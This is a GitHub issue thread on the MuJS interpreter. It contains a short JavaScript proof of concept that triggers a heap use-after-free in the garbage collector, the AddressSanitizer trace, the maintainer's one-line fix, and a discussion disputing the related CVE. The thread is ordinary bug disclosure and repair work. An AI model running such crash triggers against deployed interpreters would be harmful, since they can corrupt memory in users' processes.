AddressSanitizer: heap-use-after-free /home/yongheng/mujs/jsrun.c:1362 in jsR_run #136

Closed Changochen opened this issue on Jun 28, 2020 · 17 comments

Changochen commented on Jun 28, 2020

git hash: `9f3e141d805cddec7cce1fae38373a82c61e3300`

cmd: `mujs poc.js`

POC:

```
b = false
function c() {
    if (!b) {
        function c() { this[a = this] = a}
        JSON.parse("[]", c)
        this[2] = a
    }
    b = true
    return this[Array(a = Array(1, 2, true) ,{})] = a
}
JSON.parse("[]", function() { JSON.parse("[1, 2, []]", c)})
```

Stack dump:

```
mujs_poc1.js:4: warning: function statements are not standard
=================================================================
==86449==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000000238 at pc 0x55a8217a28a0 bp 0x7fff89b82e90 sp 0x7fff89b82e80
READ of size 2 at 0x611000000238 thread T0
    #0 0x55a8217a289f in jsR_run /home/yongheng/mujs/jsrun.c:1362
    #1 0x55a82179ef73 in jsR_callfunction /home/yongheng/mujs/jsrun.c:1016
    #2 0x55a82179ff94 in js_call /home/yongheng/mujs/jsrun.c:1118
    #3 0x55a821783913 in jsonrevive /home/yongheng/mujs/json.c:149
    #4 0x55a821783738 in jsonrevive /home/yongheng/mujs/json.c:120
    #5 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #6 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #7 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #8 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #9 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #10 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #11 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #12 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #13 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #14 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #15 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #16 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #17 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #18 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #19 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #20 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #21 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #22 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #23 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #24 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #25 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #26 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #27 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #28 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #29 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #30 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #31 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #32 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #33 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #34 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #35 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #36 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #37 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #38 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #39 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #40 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #41 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #42 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #43 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #44 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #45 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #46 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #47 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #48 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #49 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #50 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #51 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #52 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #53 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #54 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #55 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #56 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #57 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #58 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #59 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #60 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #61 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #62 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #63 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #64 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #65 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #66 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #67 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #68 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #69 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #70 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #71 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #72 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #73 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #74 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #75 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #76 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #77 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #78 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #79 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #80 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #81 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #82 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #83 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #84 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #85 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #86 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #87 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #88 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #89 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #90 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #91 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #92 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #93 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #94 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #95 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #96 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #97 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #98 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #99 0x55a821783738 in jsonrevive /home/yongheng/mujs/json.c:120
    #100 0x55a821783a2c in JSON_parse /home/yongheng/mujs/json.c:163
    #101 0x55a82179f8da in jsR_callcfunction /home/yongheng/mujs/jsrun.c:1084
    #102 0x55a8217a045f in js_call /home/yongheng/mujs/jsrun.c:1130
    #103 0x55a8217a4038 in jsR_run /home/yongheng/mujs/jsrun.c:1558
    #104 0x55a82179e957 in jsR_calllwfunction /home/yongheng/mujs/jsrun.c:973
    #105 0x55a82179ff29 in js_call /home/yongheng/mujs/jsrun.c:1116
    #106 0x55a821783913 in jsonrevive /home/yongheng/mujs/json.c:149
    #107 0x55a821783a2c in JSON_parse /home/yongheng/mujs/json.c:163
    #108 0x55a82179f8da in jsR_callcfunction /home/yongheng/mujs/jsrun.c:1084
    #109 0x55a8217a045f in js_call /home/yongheng/mujs/jsrun.c:1130
    #110 0x55a8217a4038 in jsR_run /home/yongheng/mujs/jsrun.c:1558
    #111 0x55a82179f67d in jsR_callscript /home/yongheng/mujs/jsrun.c:1067
    #112 0x55a8217a0154 in js_call /home/yongheng/mujs/jsrun.c:1122
    #113 0x55a8217a60b0 in js_dofile /home/yongheng/mujs/jsstate.c:219
    #114 0x55a8217bab4e in main /home/yongheng/mujs/main.c:347
    #115 0x7f2a739eab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #116 0x55a821757c59 in _start (/home/yongheng/mujs/build/sanitize/mujs+0x16c59)

0x611000000238 is located 184 bytes inside of 256-byte region [0x611000000180,0x611000000280)
freed by thread T0 here:
    #0 0x7f2a7447f7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x55a8217a54b9 in js_defaultalloc /home/yongheng/mujs/jsstate.c:18
    #2 0x55a821796e26 in js_free /home/yongheng/mujs/jsrun.c:58
    #3 0x55a821775238 in jsG_freefunction /home/yongheng/mujs/jsgc.c:19
    #4 0x55a821777034 in js_gc /home/yongheng/mujs/jsgc.c:205
    #5 0x55a8217a2856 in jsR_run /home/yongheng/mujs/jsrun.c:1360
    #6 0x55a82179ef73 in jsR_callfunction /home/yongheng/mujs/jsrun.c:1016
    #7 0x55a82179ff94 in js_call /home/yongheng/mujs/jsrun.c:1118
    #8 0x55a821783913 in jsonrevive /home/yongheng/mujs/json.c:149
    #9 0x55a821783738 in jsonrevive /home/yongheng/mujs/json.c:120
    #10 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #11 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #12 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #13 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #14 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #15 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #16 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #17 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #18 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #19 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #20 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #21 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #22 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #23 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #24 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #25 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #26 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #27 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #28 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132
    #29 0x55a8217837fa in jsonrevive /home/yongheng/mujs/json.c:132

previously allocated by thread T0 here:
    #0 0x7f2a7447ff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55a8217a54d5 in js_defaultalloc /home/yongheng/mujs/jsstate.c:22
    #2 0x55a821796d40 in js_realloc /home/yongheng/mujs/jsrun.c:42
    #3 0x55a82175cfa9 in emitraw /home/yongheng/mujs/jscompile.c:82
    #4 0x55a82175d11d in emit /home/yongheng/mujs/jscompile.c:90
    #5 0x55a82175e1d0 in emitstring /home/yongheng/mujs/jscompile.c:206
    #6 0x55a82175e4f0 in emitlocal /home/yongheng/mujs/jscompile.c:233
    #7 0x55a821760fd4 in jsC_cexp /home/yongheng/mujs/jscompile.c:657
    #8 0x55a8217609e5 in ccall /home/yongheng/mujs/jscompile.c:587
    #9 0x55a8217611bd in jsC_cexp /home/yongheng/mujs/jscompile.c:674
    #10 0x55a82175f7e5 in cassign /home/yongheng/mujs/jscompile.c:405
    #11 0x55a821761960 in jsC_cexp /home/yongheng/mujs/jscompile.c:754
    #12 0x55a82175f6cb in cargs /home/yongheng/mujs/jscompile.c:392
    #13 0x55a821760a15 in ccall /home/yongheng/mujs/jscompile.c:591
    #14 0x55a8217611bd in jsC_cexp /home/yongheng/mujs/jscompile.c:674
    #15 0x55a82175f8a2 in cassign /home/yongheng/mujs/jscompile.c:411
    #16 0x55a821761960 in jsC_cexp /home/yongheng/mujs/jscompile.c:754
    #17 0x55a8217648b9 in cstm /home/yongheng/mujs/jscompile.c:1268
    #18 0x55a821764f93 in cstmlist /home/yongheng/mujs/jscompile.c:1332
    #19 0x55a821765b80 in cfunbody /home/yongheng/mujs/jscompile.c:1433
    #20 0x55a82175ce41 in newfun /home/yongheng/mujs/jscompile.c:69
    #21 0x55a821765618 in cfundecs /home/yongheng/mujs/jscompile.c:1386
    #22 0x55a821765a06 in cfunbody /home/yongheng/mujs/jscompile.c:1415
    #23 0x55a82175ce41 in newfun /home/yongheng/mujs/jscompile.c:69
    #24 0x55a821765d7b in jsC_compilescript /home/yongheng/mujs/jscompile.c:1446
    #25 0x55a8217a58d1 in js_loadstringx /home/yongheng/mujs/jsstate.c:114
    #26 0x55a8217a5a2d in js_loadstring /home/yongheng/mujs/jsstate.c:128
    #27 0x55a8217a5f21 in js_loadfile /home/yongheng/mujs/jsstate.c:188
    #28 0x55a8217a6093 in js_dofile /home/yongheng/mujs/jsstate.c:217
    #29 0x55a8217bab4e in main /home/yongheng/mujs/main.c:347

SUMMARY: AddressSanitizer: heap-use-after-free /home/yongheng/mujs/jsrun.c:1362 in jsR_run
Shadow bytes around the buggy address:
  0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c227fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c227fff8020: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c227fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c227fff8040: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
  0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==86449==ABORTING
```

avih commented on Jun 28, 2020 Contributor

Is this issue reproducible? Does it still happen if you revert `331c5ec` "Issue 133: Eliminate recursion in GC scanning phase" ?

Changochen commented on Jun 28, 2020 Author

@avih Yes, I just checkout the commit and tried. The poc still works. And this also works in the latest commit, as I wrote in the issue above.

avih commented on Jun 28, 2020 Contributor

I meant if you revert that commit. I.e. either try the commit before it - `8c5f2f2` or just run `git revert 331c5ec` and then retry.

Changochen commented on Jun 28, 2020 Author

Oh. If I revert the commit, the poc didn't work.

avih commented on Jun 28, 2020 Contributor

> If I revert the commit, the poc didn't work.

Interesting. I suspect use-after-free on master, and suspect commit `331c5ec`. The fact that it didn't happen with that commit reverted doesn't prove the suspition, but I think it supports it.

avih commented on Jul 3, 2020 Contributor

I think this should fix it:

```
From 3710aa49a88faef2084a1477babc5272086064a2 Mon Sep 17 00:00:00 2001
From: "Avi Halachmi (:avih)" <avihpit@yahoo.com>
Date: Fri, 3 Jul 2020 23:16:22 +0300
Subject: [PATCH] gc: fix incorrect free of some objects

When scanning an iterator object, the iterated object was marked
unconditionally. Now it's marked only if it's not already marked - like
all other object markings.

This code was incorrect for some years, but wasn't really an issue
before commit 331c5ec because marking an object twice simply used some
more CPU cycles but otherwise without issues - unless there were cycles,
and apparently typically/always there never were cycles with iterators,
so it was hard/impossible to behave badly.

However, since 331c5ec, marking an object means inserting it into a
linked list where the list nodes are part of the object, therefore
marking the same object twice now creates a broken linked list.

A broken list means that some objects are skipped while scanned, which
means they don't get marked even when they should, and as a result
freed incorrectly while still referenced by other objects, resulting in
random errors related to use-after-free.
---
 jsgc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/jsgc.c b/jsgc.c
index da6dfb7..dba35e9 100644
--- a/jsgc.c
+++ b/jsgc.c
@@ -100,7 +100,7 @@ static void jsG_scanobject(js_State *J, int mark, js_Object *obj)
```

```
                jsG_markproperty(J, mark, obj->properties);
        if (obj->prototype && obj->prototype->gcmark != mark)
                jsG_markobject(J, mark, obj->prototype);
-       if (obj->type == JS_CITERATOR) {
+       if (obj->type == JS_CITERATOR && obj->u.iter.target->gcmark != mark) {
                jsG_markobject(J, mark, obj->u.iter.target);
        }
        if (obj->type == JS_CFUNCTION || obj->type == JS_CSCRIPT || obj->type == JS_CEVAL) {
--
2.17.1
```

avih commented on Jul 6, 2020 Contributor

@Changochen It should be fixed in master now. Can you please test your use case again and confirm it's fixed?

Changochen commented on Jul 6, 2020 Author

hi **@avih**. Yeah I tested it and the problem has gone

avih commented on Jul 6, 2020 Contributor

Thanks.

Changochen closed this as completed on Aug 13, 2020

iamleot commented on Aug 14, 2020

Side-note, when reading daily CVE and other security reports on behalf of pkgsrc Security Team it seems that CVE-2020-24343 was requested for this issue. Quoting it directly inline for convenience:

> Artifex MuJS through 1.0.7 has a use-after-free in jsrun.c because of unconditional marking in jsgc.c.

According the analysis done by **@avih** I think that this is wrong, i.e. the issue was introduced *after* 1.0.7 and was never present in a stable MuJS release. If that's the case I think it should be rejected - normally no CVE are requested for development version. If anyone can confirm that, please let me know and I will go ahead requesting to reject it and/or feel free to do yourself via https://cveform.mitre.org/

Thank you!

sgbeal commented on Aug 14, 2020

> normally no CVE are requested for development version.

FWIW, i follow the sqlite3 forum closely that it happens all the time that CVEs are filed against non-release sqlite3 versions, sometimes even those in non-trunk development branches. That project's policy is *not* to track CVEs:

https://www.sqlite.org/cves.html

See also:

https://sqlite.org/forum/forumpost/5230bca319
https://sqlite.org/forum/forumpost/247d4d7888

avih commented on Aug 14, 2020 • edited Contributor

> According the analysis done by **@avih** I think that this is wrong, i.e. the issue was introduced after 1.0.7 and was never present in a stable MuJS release.

This is correct in this context - i.e. when talking of use-after-free.

However, I probably wasn't clear enough in my description, which coud have led to this misunderstanding.

- The described issue of use-after-free did not happen before the offending commit (the recent one which canceled the recursion at the GC), i.e. it was OK before and at 1.0.7.
- The cause of the issue (marked unconditionally) did happen before 1.0.7, but with different consequences:
  - In practice in only used few more cpu cycles without any other negative effect.
  - I think it should be theoretically possible, but I'm not entirely sure of that (and I don't think I ever observed it in my years of using mujs daily in mpv scripts), that it could also enter infinite recursion, at which case it would cause a stack overflow and the process would be terminated reasonably gracefully.

So the source of the issue is old, but was with trivial implocations, while a recent commit (after 1.0.7) changed its implication to use-after-free.

Changochen commented on Aug 14, 2020 Author

Hi. I thought UAF existed in the release since the root cause is in a stable release. But it seems this is wrong. In that case, I might need to make a request to the CVE team to dispute this CVE. Does this make sense?

Sorry for the trouble.

Changochen commented on Aug 14, 2020 Author

> MuJS through 1.0.7 has a use-after-free in jsrun.c because of unconditional marking in jsgc.c.

FYI, the description is from the CVE team, they sometimes changed the reporters' description according to their analysis

avih commented on Aug 14, 2020 Contributor

> > MuJS through 1.0.7 has a use-after-free in jsrun.c because of unconditional marking in jsgc.c.
>
> FYI, the description is from the CVE team, they sometimes changed the reporters' description according to their analysis

That seems to me an entirely incorrect statement. Unconditional marking at 1.0.7 or earlier could lead, as far as I can tell, to stack overflow at most - due to infinite recursion.

I'm not even sure if infinite recursion could occure, because I think the recursion would be broken once any other object at the cycle is reached again while already marked (the bug of not checking the marking only applied, as far as I can tell, to one case - an iterator object - which the patch fixes).

The GC in MuJS works like this:

- Mark: It starts at some root construct which is in use, and follows everything which is referenced from it - these are the things which should NOT be freed, and they're marked as in-use during this process.
- Sweep: it loops over all objects and free anything which wasn't marked as in-use.

Marking does not and did not do new memory allocations. It was recursing, and now it does not, and instead it links objects which should be marked using pointers which already exist at the object.

With this new list, Inserting the same object twice also never creates an unterminated-list. It simply may cause some objects in that list to be skipped when the list is iterated later.

So skipping objects while marking (which is the thing which can lead to incorrect free) at 1.0.7 or earlier was never an issue. It was the other way at most - possibly marking them more than once - which doesn't have negative effect except if it leads to an infinite recursion - which I'm almost sure could not happen anyway.

Changochen commented on Aug 14, 2020 Author

I see. I will make a request to dispute this CVE. Since there is reference in the CVE info to this issue, people can just visit this issue to check what happened.

Changochen commented on Aug 14, 2020 Author

Request made. The status of the CVE should be updated soon.